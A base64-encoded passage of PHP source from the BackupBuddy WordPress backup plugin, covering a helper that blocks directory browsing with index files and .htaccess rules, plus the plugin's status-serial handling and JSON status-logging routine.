JCQkJCWRpZSggJGVycm9yICk7CgkJCQl9CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQl9CgoJCS8vIENoZWNrIHdyaXRhYmxlLgoJCWlmICggISBpc193cml0YWJsZSggJGRpcmVjdG9yeSApICkgewoJCQkkZXJyb3IgPSAnRXJyb3IgIzkwMDJkOiBCYWNrdXBCdWRkeSBkaXJlY3RvcnkgYCcgLiAkZGlyZWN0b3J5IC4gJ2AgaXMgaW5kaWNhdGVkIGFzIE5PVCBiZWluZyB3cml0YWJsZS4gUGxlYXNlIHZlcmlmeSB3cml0ZSBwZXJtaXNzaW9ucyBmb3IgaXQgYW5kIHBhcmVudCBkaXJlY3RvcmllcyBhcyBhcHBsaWNhYmxlLic7CgkJCWlmICggdHJ1ZSAhPT0gJHN1cHByZXNzX2FsZXJ0ICkgewoJCQkJc2VsZjo6YWxlcnQoICRlcnJvciwgdHJ1ZSwgJzkwMDInICk7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAkZXJyb3IgKTsKCQkJfQoJCQlpZiAoIHRydWUgPT09ICRkaWVfb25fZmFpbCApIHsKCQkJCWRpZSggJGVycm9yICk7CgkJCX0KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCgkJLy8gLmh0YWNjZXNzIGNvbnRlbnRzIGZvciBkZW55aW5nLgoJCWlmICggdHJ1ZSA9PT0gJGRlbnlfYWxsICkgewoJCQkkZGVueV9hbGwgPSAiXG5kZW55IGZyb20gYWxsIjsKCQl9IGVsc2UgewoJCQkkZGVueV9hbGwgPSAnJzsKCQl9CgoJCSRlcnJvciA9ICcnOwoKCQlpZiAoICEgZmlsZV9leGlzdHMoICRkaXJlY3RvcnkgLiAnL2luZGV4LnBocCcgKSApIHsKCQkJLy8gRklYTUU6IEF2b2lkIEAgc3ltYm9sIGhlcmUuIFBvc3NpYmx5IHVzZSB0cnkvY2F0Y2g/CgkJCWlmICggZmFsc2UgPT09IEBmaWxlX3B1dF9jb250ZW50cyggJGRpcmVjdG9yeSAuICcvaW5kZXgucGhwJywgJzxodG1sPjwvaHRtbD4nICkgKSB7CgkJCQkkZXJyb3IgLj0gJ1VuYWJsZSB0byB3cml0ZSBpbmRleC5waHAgZmlsZS4gJzsKCQkJfQoJCX0KCgkJaWYgKCAhIGZpbGVfZXhpc3RzKCAkZGlyZWN0b3J5IC4gJy9pbmRleC5odG0nICkgKSB7CgkJCS8vIEZJWE1FOiBBdm9pZCBAIHN5bWJvbCBoZXJlLiBQb3NzaWJseSB1c2UgdHJ5L2NhdGNoPwoJCQlpZiAoIGZhbHNlID09PSBAZmlsZV9wdXRfY29udGVudHMoICRkaXJlY3RvcnkgLiAnL2luZGV4Lmh0bScsICc8aHRtbD48L2h0bWw+JyApICkgewoJCQkJJGVycm9yIC49ICdVbmFibGUgdG8gd3JpdGUgaW5kZXguaHRtIGZpbGUuICc7CgkJCX0KCQl9CgoJCWlmICggISBmaWxlX2V4aXN0cyggJGRpcmVjdG9yeSAuICcvaW5kZXguaHRtbCcgKSApIHsKCQkJLy8gRklYTUU6IEF2b2lkIEAgc3ltYm9sIGhlcmUuIFBvc3NpYmx5IHVzZSB0cnkvY2F0Y2g/CgkJCWlmICggZmFsc2UgPT09IEBmaWxlX3B1dF9jb250ZW50cyggJGRpcmVjdG9yeSAuICcvaW5kZXguaHRtbCcsICc8aHRtbD48L2h0bWw+JyApICkgewoJCQkJJGVycm9yIC49ICdVbmFibGUgdG8gd3JpdGUgaW5kZXguaHRtbCBmaWxlLiAnOwoJCQl9CgkJfQoKCQkvLyAuaHRhY2Nlc3MgaWYgd2UgYXJlbid0IGluIHRoZSBpbXBvcnRidWRkeSBzY3JpcHQuCgkJaWYgKCAhIGZpbGVfZXhpc3RzKCAkZGlyZWN0b3J5IC4gJy8uaHRhY2Nlc3MnICkgKSB7CgkJCS8vIEZJWE1FOiBBdm9pZCBAIHN5bWJvbCBoZXJlLiBQb3NzaWJseSB1c2UgdHJ5L2NhdGNoPwoJCQlpZiAoIGZhbHNlID09PSBAZmlsZV9wdXRfY29udGVudHMoICRkaXJlY3RvcnkgLiAnLy5odGFjY2VzcycsICdPcHRpb25zIC1JbmRleGVzJyAuICRkZW55X2FsbCApICkgewoJCQkJJGVycm9yIC49ICdVbmFibGUgdG8gd3JpdGUgLmh0YWNjZXNzIGZpbGUuICc7CgkJCX0KCQl9CgoJCWlmICggJycgIT0gJGVycm9yICkgeyAvLyBGYWlsdXJlLgoJCQlpZiAoIHRydWUgIT09ICRzdXBwcmVzc19hbGVydCApIHsKCQkJCSRlcnJvciA9ICdFcnJvciBjcmVhdGluZyBhbnRpIGRpcmVjdG9yeSBicm93c2luZyBzZWN1cml0eSBmaWxlcyBpbiBkaXJlY3RvcnkgYCcgLiAkZGlyZWN0b3J5IC4gJ2AuIFBsZWFzZSB2ZXJpZnkgdGhpcyBkaXJlY3RvcnlcJ3MgcGVybWlzc2lvbnMgYWxsb3cgd3JpdGluZyAmIHJlYWRpbmcuIEVycm9yczogYCcgLiAkZXJyb3IgLiAnYC4nOwoJCQkJc2VsZjo6YWxlcnQoICRlcnJvciApOwoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJGVycm9yICk7CgkJCX0KCQkJaWYgKCB0cnVlID09PSAkZGllX29uX2ZhaWwgKSB7CgkJCQlkaWUoICdTY3JpcHQgaGFsdGVkIGZvciBzZWN1cml0eS4gUGxlYXNlIHZlcmlmeSBwZXJtaXNzaW9ucyBhbmQgdHJ5IGFnYWluLicgKTsKCQkJfQoJCX0gZWxzZSB7IC8vIFN1Y2Nlc3MuCgkJCXJldHVybiB0cnVlOwoJCX0KCX0gLy8gRW5kIGFudGlfZGlyZWN0b3J5X2Jyb3dzaW5nKCkuCgoJLyoqCgkgKiBEZWZpbmUgYSBkZWZhdWx0IHNlcmlhbCBmb3IgYWxsIHN1YnNlcXVlbnQgc3RhdHVzKCkgY2FsbHMuCgkgKgoJICogQHBhcmFtIHN0cmluZyAkc2VyaWFsICBVbmlxdWUgaWRlbnRpZmllciB0byB1c2UgYXMgZGVmYXVsdCBzZXJpYWwuCgkgKgoJICogQHJldHVybiBudWxsCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gc2V0X3N0YXR1c19zZXJpYWwoICRzZXJpYWwgKSB7CgkJc2VsZjo6JF9zdGF0dXNfc2VyaWFsID0gJHNlcmlhbDsKCQlyZXR1cm47Cgl9IC8vIEVuZCBzZXRfc3RhdHVzX3NlcmlhbCgpLgoKCS8qKgoJICogQWRkIGEgc2VyaWFsIGZvciBhbGwgc3Vic2VxdWVudCBzdGF0dXMoKSBjYWxscyB0byBsb2cgdG8gaW4gYWRkaXRpb24gdG8gYW55IGN1cnJlbnRseSBsb2dnaW5nIHNlcmlhbHMuCgkgKgoJICogQHBhcmFtIHN0cmluZyAkc2VyaWFsICBVbmlxdWUgaWRlbnRpZmllciB0byBhZGQgdG8gc2VyaWFscyB0byBsb2cgdG8uCgkgKgoJICogcmV0dXJuIG51bGwKCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBhZGRfc3RhdHVzX3NlcmlhbCggJHNlcmlhbCApIHsKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdBZGRpbmcgc3RhdHVzIHNlcmlhbCBgJyAuICRzZXJpYWwgLiAnYC4nICk7CgkJaWYgKCBpc19hcnJheSggc2VsZjo6JF9zdGF0dXNfc2VyaWFsICkgKSB7CgkJCXNlbGY6OiRfc3RhdHVzX3NlcmlhbFtdID0gJHNlcmlhbDsKCQl9IGVsc2UgewoJCQlzZWxmOjokX3N0YXR1c19zZXJpYWwgPSBhcnJheSggc2VsZjo6JF9zdGF0dXNfc2VyaWFsLCAkc2VyaWFsICk7CgkJfQoJCXJldHVybjsKCX0gLy8gRW5kIGFkZF9zdGF0dXNfc2VyaWFsKCkuCgoJLyoqCgkgKiBSZW1vdmUgYSBzZXJpYWwgZm9yIGFsbCBzdWJzZXF1ZW50IHN0YXR1cygpIGNhbGxzIHRvIGxvZyB0byBpbiBhZGRpdGlvbiB0byBhbnkgY3VycmVudGx5IGxvZ2dpbmcgc2VyaWFscy4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRzZXJpYWwgIFVuaXF1ZSBpZGVudGlmaWVyIHRvIHJlbW92ZSBmcm9tIHNlcmlhbHMgdG8gbG9nIHRvLgoJICoKCSAqIEByZXR1cm4gbnVsbAoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJlbW92ZV9zdGF0dXNfc2VyaWFsKCAkc2VyaWFsICkgewoJCWlmICggaXNfYXJyYXkoIHNlbGY6OiRfc3RhdHVzX3NlcmlhbCApICkgewoJCQlmb3JlYWNoICggc2VsZjo6JF9zdGF0dXNfc2VyaWFsIGFzICRpID0+ICR0aGlzX3NlcmlhbCApIHsKCQkJCWlmICggJHRoaXNfc2VyaWFsID09ICRzZXJpYWwgKSB7CgkJCQkJdW5zZXQoIHNlbGY6OiRfc3RhdHVzX3NlcmlhbFsgJGkgXSApOwoJCQkJCXJldHVybjsKCQkJCX0KCQkJfQoJCX0gZWxzZSB7IC8vIHNob3VsZCBiZSBhIHN0cmluZy4KCQkJaWYgKCBzZWxmOjokX3N0YXR1c19zZXJpYWwgPT0gJHNlcmlhbCApIHsKCQkJCXNlbGY6OiRfc3RhdHVzX3NlcmlhbCA9ICcnOwoJCQl9CgkJfQoKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdSZW1vdmVkIHN0YXR1cyBzZXJpYWwgYCcgLiAkc2VyaWFsIC4gJ2AuJyApOwoKCQlyZXR1cm47Cgl9IC8vIEVuZCByZW1vdmVfc3RhdHVzX3NlcmlhbCgpLgoKCS8qKgoJICogR2V0IGN1cnJlbnQgc2VyaWFsIHN0YXR1cyBsb2dzIGFyZSBnb2luZyB0by4KCSAqCgkgKiBAcmV0dXJuIHN0cmluZyAkc3RhdHVzX3NlcmlhbCAgQ3VycmVudCBzZXJpYWwgc2V0LgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGdldF9zdGF0dXNfc2VyaWFsKCkgewoJCXJldHVybiBzZWxmOjokX3N0YXR1c19zZXJpYWw7Cgl9IC8vIEVuZCBnZXRfc3RhdHVzX3NlcmlhbCgpLgoKCS8qKgoJICogTG9ncyBkYXRhIHRvIGEgQ1NWIGZpbGUuIE9wdGlvbmFsIHVuaXF1ZSBzZXJpYWwgaWRlbnRpZmllci4KCSAqIElmIGEgc2VyaWFsIGlzIHBhc3NlZCB0aGVuIEVWRVJZVEhJTkcgd2lsbCBiZSBsb2dnZWQgdG8gdGhlIHNwZWNpZmllZCBzZXJpYWwgZmlsZSBpbiBhZGRpdGlvbiB0byB3aGF0ZXZlciAoaWYgYW55dGhpbmcpIGlzIGxvZ2dlZCB0byBtYWluIHN0YXR1cyBmaWxlLgoJICogQWx3YXlzIGxvZ3MgdG8gbWFpbiBzdGF0dXMgZmlsZSBiYXNlZCBvbiBsb2dnaW5nIHNldHRpbmdzIHdoZXRoZXIgc2VyaWFsIGlzIHBhc3NlZCBvciBub3QuCgkgKgoJICogTk9URTogV2hlbiBmdWxsIGxvZ2dpbmcgaXMgb24gQU5EIGEgc2VyaWFsIGlzIHBhc3NlZCwgaXQgd2lsbCBiZSB3cml0dGVuIHRvIGEgX3N1bV8gdGV4dCBmaWxlIGluc3RlYWQgb2YgdGhlIG1haW4gbG9nIGZpbGUuCgkgKgoJICogQHNlZSBzZWxmOjpnZXRfc3RhdHVzKCkuCgkgKgoJICogQHBhcmFtIHN0cmluZyAkdHlwZSAgICAgICAgICAgIFZhbGlkIHR5cGVzOiBlcnJvciwgd2FybmluZywgZGV0YWlscywgbWVzc2FnZS4KCSAqIEBwYXJhbSBzdHJpbmcgJG1lc3NhZ2UgICAgICAgICBNZXNzYWdlIHRvIGxvZy4KCSAqIEBwYXJhbSBzdHJpbmcgJHNlcmlhbHMgICAgICAgICBPcHRpb25hbC4gT3B0aW9uYWwgdW5pcXVlIGlkZW50aWZpZXIgZm9yIHRoaXMgcGx1Z2luJ3MgbWVzc2FnZS4KCSAqICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBTdGF0dXMgbWVzc2FnZXMgYXJlIHVuaXF1ZSBwZXIgcGx1Z2luIHNvIHRoaXMgYWRkcyBhbiBhZGRpdGlvbmFsIHVuaXF1ZSBsYXllciBmb3IgcmV0cmlldmFsLgoJICogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElmIHNlbGY6OiRfc3RhdHVzX3NlcmlhbCBoYXMgYmVlbiBzZXQgYnkgc2V0X3N0YXR1c19zZXJpYWwoKSB0aGVuIGl0IHdpbGwgb3ZlcnJpZGUgaWYgJHNlcmlhbCBpcyBibGFuay4KCSAqIEBwYXJhbSBib29sICAgJGpzX21vZGUgICAgICAgICBJZiBKUyBtb2RlLgoJICogQHBhcmFtIGJvb2wgICAkZWNob19ub3Rfd3JpdGUgIEVjaG8gb3V0cHV0IGluc3RlYWQgb2Ygd3JpdGUgdG8gZmlsZS4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBzdGF0dXMoICR0eXBlLCAkbWVzc2FnZSwgJHNlcmlhbHMgPSAnJywgJGpzX21vZGUgPSBmYWxzZSwgJGVjaG9fbm90X3dyaXRlID0gZmFsc2UgKSB7CgoJCWlmICggISBjbGFzc19leGlzdHMoICdiYWNrdXBidWRkeV9jb3JlJyApICkgewoJCQlyZXF1aXJlX29uY2UgcGJfYmFja3VwYnVkZHk6OnBsdWdpbl9wYXRoKCkgLiAnL2NsYXNzZXMvY29yZS5waHAnOwoJCX0KCgkJaWYgKCAhIGlzc2V0KCBzZWxmOjokb3B0aW9uc1snbG9nX2xldmVsJ10gKSApIHsgLy8gSWYgc2V0dGluZ3MgYXJlIGNvcnJ1cHRlZCBkZWZhdWx0IHRvIG5vIGxvZ2dpbmcuCgkJCXNlbGY6OiRvcHRpb25zWydsb2dfbGV2ZWwnXSA9IDA7CgkJfQoKCQlpZiAoICcnICE9IHNlbGY6OiRfc3RhdHVzX3NlcmlhbCAmJiAnJyA9PSAkc2VyaWFscyApIHsKCQkJJHNlcmlhbHMgPSBzZWxmOjokX3N0YXR1c19zZXJpYWw7CgkJfQoKCQlpZiAoIGRlZmluZWQoICdCQUNLVVBCVUREWV9XUF9DTEknICkgJiYgdHJ1ZSA9PT0gQkFDS1VQQlVERFlfV1BfQ0xJICkgewoJCQlpZiAoIGNsYXNzX2V4aXN0cyggJ1dQX0NMSScgKSApIHsKCQkJCVdQX0NMSTo6bGluZSggJHR5cGUgLiAnIC0gJyAuICRtZXNzYWdlICk7CgkJCX0KCQl9CgoJCS8vIE1ha2Ugc3VyZSB3ZSBoYXZlIGEgdW5pcXVlIGxvZyBzZXJpYWwgZm9yIGFsbCBsb2dzIGZvciBzZWN1cml0eS4KCQlpZiAoICEgaXNzZXQoIHNlbGY6OiRvcHRpb25zWydsb2dfc2VyaWFsJ10gKSB8fCAnJyA9PSBzZWxmOjokb3B0aW9uc1snbG9nX3NlcmlhbCddICkgewoJCQlzZWxmOjokb3B0aW9uc1snbG9nX3NlcmlhbCddID0gc2VsZjo6cmFuZG9tX3N0cmluZyggMTUgKTsKCQkJc2VsZjo6c2F2ZSgpOwoJCX0KCgkJaWYgKCAhIGlzX2FycmF5KCAkc2VyaWFscyApICkgewoJCQkkc2VyaWFscyA9IGFycmF5KCAkc2VyaWFscyApOwoJCX0KCgkJLy8gQ2FsY3VsYXRlIGxvZyBkaXJlY3RvcnkuCgkJJGxvZ19kaXJlY3RvcnkgPSBiYWNrdXBidWRkeV9jb3JlOjpnZXRMb2dEaXJlY3RvcnkoKTsgLy8gQWxzbyBoYW5kbGVzIHdoZW4gd2l0aGluIGltcG9ydGJ1ZGR5LgoKCQkvLyBQcmVwYXJlIGRpcmVjdG9yeSBmb3IgbG9nIGZpbGVzLiBSZXR1cm4gaWYgdW5hYmxlIHRvIGRvIHNvLgoJCWlmICggdHJ1ZSA9PT0gc2VsZjo6JF9za2lwbG9nICkgeyAvLyBib29sIHRydWUgc28gc2tpcC4KCQkJcmV0dXJuOwoJCX0gZWxzZWlmICggZmFsc2UgIT09IHNlbGY6OiRfc2tpcGxvZyApIHsgLy8gc29tZXRoaW5nIG90aGVyIHRoYW4gYm9vbCBmYWxzZSBzbyBjaGVjayBkaXJlY3RvcnkgYmVmb3JlIHByb2NlZWRpbmcuCgkJCSRkaWVfb25fZmFpbCAgICA9IGZhbHNlOwoJCQkkZGVueV9hbGwgICAgICAgPSBmYWxzZTsKCQkJJHN1cHByZXNzX2FsZXJ0ID0gdHJ1ZTsKCQkJaWYgKCB0cnVlICE9PSBzZWxmOjphbnRpX2RpcmVjdG9yeV9icm93c2luZyggJGxvZ19kaXJlY3RvcnksICRkaWVfb25fZmFpbCwgJGRlbnlfYWxsLCAkc3VwcHJlc3NfYWxlcnQgKSApIHsgLy8gVW5hYmxlIHRvIHNlY3VyZSBkaXJlY3RvcnkuIEZhaWwuCgkJCQlzZWxmOjokX3NraXBsb2cgPSB0cnVlOwoJCQkJcmV0dXJuOwoJCQl9IGVsc2UgewoJCQkJc2VsZjo6JF9za2lwbG9nID0gZmFsc2U7CgkJCX0KCQl9CgoJCWZvcmVhY2ggKCAkc2VyaWFscyBhcyAkc2VyaWFsICkgewoKCQkJLy8gSW1wb3J0QnVkZHkgYWx3YXlzIHdyaXRlIHRvIG1haW4gc3RhdHVzIGxvZy4KCQkJaWYgKCBkZWZpbmVkKCAnUEJfSU1QT1JUQlVERFknICkgJiYgKCBQQl9JTVBPUlRCVUREWSA9PT0gdHJ1ZSApICkgeyAvLyBJTVBPUlRCVUREWS4KCgkJCQkkd3JpdGVfc2VyaWFsID0gZmFsc2U7CgkJCQkkd3JpdGVfbWFpbiAgID0gdHJ1ZTsKCQkJCSRtYWluX2ZpbGUgICAgPSAkbG9nX2RpcmVjdG9yeSAuICdzdGF0dXMtJyAuIHNlbGY6OiRvcHRpb25zWydsb2dfc2VyaWFsJ10gLiAnLnR4dCc7CgoJCQl9IGVsc2UgeyAvLyBTVEFOREFMT05FLgoKCQkJCS8vIERldGVybWluZSB3aGV0aGVyIHdyaXRpbmcgdG8gbWFpbiBleHRyYW5lb3VzIGxvZyBmaWxlLgoJCQkJJHdyaXRlX21haW4gPSBmYWxzZTsKCQkJCWlmICggMCA9PSBzZWxmOjokb3B0aW9uc1snbG9nX2xldmVsJ10gKSB7IC8vIE5vIGxvZ2dpbmcuCgkJCQkJCSR3cml0ZV9tYWluID0gZmFsc2U7CgkJCQl9IGVsc2VpZiAoIDEgPT0gc2VsZjo6JG9wdGlvbnNbJ2xvZ19sZXZlbCddICkgeyAvLyBFcnJvcnMgb25seS4KCQkJCQlpZiAoICdlcnJvcicgPT09ICR0eXBlICkgewoJCQkJCQkkd3JpdGVfbWFpbiA9IHRydWU7CgkJCQkJCXNlbGY6OmxvZyggJ1snIC4gJHNlcmlhbCAuICddICcgLiAkbWVzc2FnZSwgJ2Vycm9yJyApOwoJCQkJCX0KCQkJCX0gZWxzZSB7IC8vIEV2ZXJ5dGhpbmcgZWxzZS4KCQkJCQkkd3JpdGVfbWFpbiA9IHRydWU7CgkJCQkJc2VsZjo6bG9nKCAnWycgLiAkc2VyaWFsIC4gJ10gJyAuICRtZXNzYWdlLCAkdHlwZSApOwoJCQkJfQoKCQkJCS8vIERldGVybWluZSB3aGljaCBub3JtYWwgc3RhdHVzIGxvZyBmaWxlcyB0byB3cml0ZS4KCQkJCWlmICggJycgIT0gJHNlcmlhbCApIHsKCQkJCQkkd3JpdGVfc2VyaWFsID0gdHJ1ZTsKCQkJCQkkd3JpdGVfbWFpbiAgID0gZmFsc2U7CgkJCQkJaWYgKCAoIGZhbHNlID09PSBzdHJpc3RyKCAkc2VyaWFsLCAncmVtb3RlX3NlbmQtJyApICkgJiYgKCBmYWxzZSA9PT0gc3RyaXN0ciggJHNlcmlhbCwgJ2xpdmVfcGVyaW9kaWMnICkgKSApIHsgLy8gT25seSB3cml0ZSBzdW0gZmlsZSBpZiBOT1QgYSByZW1vdGUgc2VuZCBhbmQgTk9UIExpdmUgbG9nLgoJCQkJCQkkd3JpdGVfbWFpbiA9IHRydWU7CgkJCQkJCSRtYWluX2ZpbGUgID0gJGxvZ19kaXJlY3RvcnkgLiAnc3RhdHVzLScgLiAkc2VyaWFsIC4gJ19zdW1fJyAuIHNlbGY6OiRvcHRpb25zWydsb2dfc2VyaWFsJ10gLiAnLnR4dCc7CgkJCQkJfQoJCQkJfSBlbHNlIHsKCQkJCQkkd3JpdGVfc2VyaWFsID0gZmFsc2U7CgkJCQkJJHdyaXRlX21haW4gICA9IGZhbHNlOwoJCQkJfQoJCQl9CgoJCQlpZiAoICEgZnVuY3Rpb25fZXhpc3RzKCAnd3JpdGVfc3RhdHVzX2xpbmUnICkgKSB7CgkJCQkvKioKCQkJCSAqIEZ1bmN0aW9uIGZvciB3cml0aW5nIGFjdHVhbCBsb2cgQ1NWIGRhdGEuIFVzZWQgbGF0ZXIuCgkJCQkgKgoJCQkJICogQHBhcmFtIHN0cmluZyAkZmlsZSAgICAgICAgICAgRmlsZSB0byB3cml0ZS4KCQkJCSAqIEBwYXJhbSBhcnJheSAgJGNvbnRlbnRfYXJyYXkgIEFycmF5IG9mIGNvbnRlbnQgdG8gd3JpdGUuCgkJCQkgKiBAcGFyYW0gYm9vbCAgICRlY2hvICAgICAgICAgICBFY2hvIGluc3RlYWQgb2Ygd3JpdGUuCgkJCQkgKi8KCQkJCWZ1bmN0aW9uIHdyaXRlX3N0YXR1c19saW5lKCAkZmlsZSwgJGNvbnRlbnRfYXJyYXksICRlY2hvICkgewoJCQkJCSR3cml0ZV9kYXRhID0ganNvbl9lbmNvZGUoICRjb250ZW50X2FycmF5ICkgLiBQSFBfRU9MOwoJCQkJCWlmICggdHJ1ZSA9PT0gJGVjaG8gKSB7IC8vIEVjaG8gZGF0YSBpbnN0ZWFkIG9mIHdyaXRpbmcgdG8gZmlsZS4gVXNlZCBieSBhamF4IHdoZW4gY2hlY2tpbmcgc3RhdHVzIGxvZyBhbmQgbmVlZGluZyB0byBwcmVwZW5kIGJlZm9yZSBsb2cuCgkJCQkJCWVjaG8gJHdyaXRlX2RhdGE7CgkJCQkJfSBlbHNlIHsKCQkJCQkJLy8gRklYTUU6IEF2b2lkIEAgc3ltYm9sIGhlcmUuCgkJCQkJCSRmaWxlX2hhbmRsZSA9IEBmb3BlbiggJGZpbGUsICdhJyApOwoJCQkJCQlpZiAoIGZhbHNlICE9PSAkZmlsZV9oYW5kbGUgKSB7IC8vIEFwcGVuZCBtb2RlLgoJCQkJCQkJLy8gRklYTUU6IEF2b2lkIEAgc3ltYm9sIGhlcmUuCgkJCQkJCQlAZndyaXRlKCAkZmlsZV9oYW5kbGUsICR3cml0ZV9kYXRhICk7CgkJCQkJCQkvLyBGSVhNRTogQXZvaWQgQCBzeW1ib2wgaGVyZS4KCQkJCQkJCUBmY2xvc2UoICRmaWxlX2hhbmRsZSApOwoJCQkJCQl9CgkJCQkJfQoJCQkJfQoJCQl9CgoJCQkkY29udGVudF9hcnJheSA9IGFycmF5KAoJCQkJJ2V2ZW50JyA9PiAkdHlwZSwKCQkJCSd0aW1lJyAgPT4gcGJfYmFja3VwYnVkZHk6OiRmb3JtYXQtPmxvY2FsaXplX3RpbWUoIHRpbWUoKSApLCAvLyBUaW1lIHRoaXMgaGFwcGVuZWQuCgkJCQkndScgICAgID0+IHN1YnN0ciggKHN0cmluZykgbWljcm90aW1lKCksIDIsIDIgKSwKCQkJCSdydW4nICAgPT4gc3ByaW50ZiggJyUwMS4yZicsIHJvdW5kKCBtaWNyb3RpbWUoIHRydWUgKSAtIHNlbGY6OiRzdGFydF90aW1lLCAyICkgKSwgLy8gRWxhcHNlZCBQSFAgdGltZS4KCQkJCSdtZW0nICAgPT4gc3ByaW50ZiggJyUwMS4yZicsIHJvdW5kKCBtZW1vcnlfZ2V0X3VzYWdlKCkgLyAxMDQ4NTc2LCAyICkgKSwgLy8gTWVtb3J5IHVzZWQuCVByZS03LjAgd2FzOiBtZW1vcnlfZ2V0X3BlYWtfdXNhZ2UoKS4KCQkJCSdkYXRhJyAgPT4gc3RyX3JlcGxhY2UoIGNociggOSApLCAnICAgJywgJG1lc3NhZ2UgKSwgLy8gQm9keSBvZiB0aGUgbWVzc2FnZS4KCQkJKTsKCgkJCS8qKioqKioqKioqIE1BSU4gTE9HIEZJTEUgb3IgU1VNIEZJTEUgKi8KCQkJaWYgKCB0cnVlID09PSAkd3JpdGVfbWFpbiApIHsgLy8gV1JJVEUgVE8gTUFJTiBMT0cgRklMRSBvciBTVU0gRklMRS4KCQkJCXdyaXRlX3N0YXR1c19saW5lKCAkbWFpbl9maWxlLCAkY29udGVudF9hcnJheSwgJGVjaG9fbm90X3dyaXRlICk7CgkJCX0KCgkJCS8qKioqKioqKioqIFNFUklBTCBMT0cgRklMRSAqLwoJCQlpZiAoIHRydWUgPT09ICR3cml0ZV9zZXJpYWwgKSB7CgkJCQkkc2VyaWFsX2ZpbGUgPSAkbG9nX2RpcmVjdG9yeSAuICdzdGF0dXMtJyAuICRzZXJpYWwgLiAnXycgLiBzZWxmOjokb3B0aW9uc1snbG9nX3NlcmlhbCddIC4gJy50eHQnOwoJCQkJd3JpdGVfc3RhdHVzX2xpbmUoICRzZXJpYWxfZmlsZSwgJGNvbnRlbnRfYXJyYXksICRlY2hvX25vdF93cml0ZSApOwoJCQl9CgoJCQkvLyBPdXRwdXQgaW1wb3J0YnVkZHkgc3RhdHVzIGxvZyB0byBzY3JlZW4uCgkJCWdsb2JhbCAkcGJfYmFja3VwYnVkZHlfanNfc3RhdHVzOwoJCQlpZiAoICggZGVmaW5lZCggJ1BCX0lNUE9SVEJVRERZJyApIHx8ICggaXNzZXQoICRwYl9iYWNrdXBidWRkeV9qc19zdGF0dXMgKSAmJiB0cnVlID09PSAkcGJfYmFja3VwYnVkZHlfanNfc3RhdHVzICkgKSAmJiAoICd0cnVlJyAhPSBwYl9iYWNrdXBidWRkeTo6X0dFVCggJ2RlcGxveScgKSApICkgeyAvLyBJZiBpbXBvcnRidWRkeSwganMgbW9kZSwgYW5kIG5vdCBhIGRlcGxveW1lbnQuCgkJCQllY2hvICc8c2NyaXB0PnBiX3N0YXR1c19hcHBlbmQoICcgLiBqc29uX2VuY29kZSggJGNvbnRlbnRfYXJyYXkgKSAuICcgKTs8L3NjcmlwdD4nIC4gIlxuIjsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpmbHVzaCgpOwoJCQl9CgkJfSAvLyBlbmQgZm9yZWFjaCAkc2VyaWFscy4KCgl9IC8vIEVuZCBzdGF0dXMoKS4KCgkvKioKCSAqIEdldHMgYWxsIHN0YXR1cyBpbmZvcm1hdGlvbiBsb2dnZWQgdmlhIHN0YXR1cygpLiBSZXR1cm5zIGFuIGFycmF5IG9mIGFycmF5cyB3aXRoIGxvZ2dlZCBkYXRhLgoJICoKCSAqICBSZXR1cm4gZm9ybWF0OgoJICogICAgIGFycmF5KAoJICogICAgICAgICBhcnJheSggVElNRVNUQU1QLCBUSU1FX0lOLCBQRUFLX01FTU9SWSwgVFlQRSwgTUVTU0FHRSApLAoJICogICAgICAgICBhcnJheSggVElNRVNUQU1QLCBUWVBFLCBNRVNTQUdFICksCgkgKiAgICAgKQoJICoKCSAqIEBzZWUgc2VsZjo6c3RhdHVzKCkuCgkgKgoJICogQHBhcmFtIHN0cmluZyAkc2VyaWFsICAgICAgICAgICAgICBVbmlxdWUgaWRlbnRpZmllci4gUmV0cmlldmVzIGEgc3Vic2V0IG9mIGxvZ2dlZCBpbmZvcm1hdGlvbiBiYXNlZCBvbiB0aGlzIHVuaXF1ZSBJRCB0aGF0IHdhcyBwYXNzZWQgdG8gc3RhdHVzKCkgd2hlbiBsb2dnaW5nLgoJICogQHBhcmFtIGJvb2wgICAkY2xlYXJfcmV0cmlldmVkICAgICAgRGVmYXVsdDogdHJ1ZS4gT24gdHJ1ZSBzdGF0dXMgaW5mb3JtYXRpb24gd2lsbCBiZSBwdXJnZWQgYWZ0ZXIgcmV0cmlldmFsLgoJICogQHBhcmFtIGJvb2wgICAkZXJhc2VfcmV0cmlldmVkICAgICAgRGVmYXVsdDogdHJ1ZS4gV2hldGhlciBvciBub3QgdG8gZGVsZXRlIGxvZyBmaWxlIG9uIHJldHJpZXZhbC4gTk9URTogUENMWmlwIGNhbiBOT1QgbG9zZSBmaWxlcyBtaWQtYmFja3VwIHNvIGxvZyBmaWxlcyBjYW5ub3QgZGVsZXRlIG1pZC16aXAuCgkgKiBAcGFyYW0gYm9vbCAgICRoaWRlX2dldHRpbmdfc3RhdHVzICBEZWZhdWx0OiBmYWxzZS4gV2hldGhlciBvciBub3QgdG8gb3V0cHV0IHN0YXR1cyByZXRyaWV2YWwgbWVzc2FnZS4KCSAqIEBwYXJhbSBib29sICAgJGNvcHlfcmV0cmlldmVkICAgICAgIEFycmF5IG9mIGFycmF5cy4gIEVhY2ggc3ViLWFycmF5IGNvbnRhaW5zIHRocmVlIHZhbHVlczogdGltZXN0YW1wLCB0eXBlIG9mIG1lc3NhZ2UsIGFuZCB0aGUgbWVzc2FnZSBpdHNlbGYuIFNlZSBmdW5jdGlvbiBkZXNjcmlwdGlvbiBmb3IgZGV0YWlscy4gRW1wdHkgYXJyYXkgaWYgbm9uLWV4aXN0aW5nIGxvZy4KCSAqCgkgKiBAcmV0dXJuIGFycmF5ICRzdGF0dXNfbGluZXMgIE9y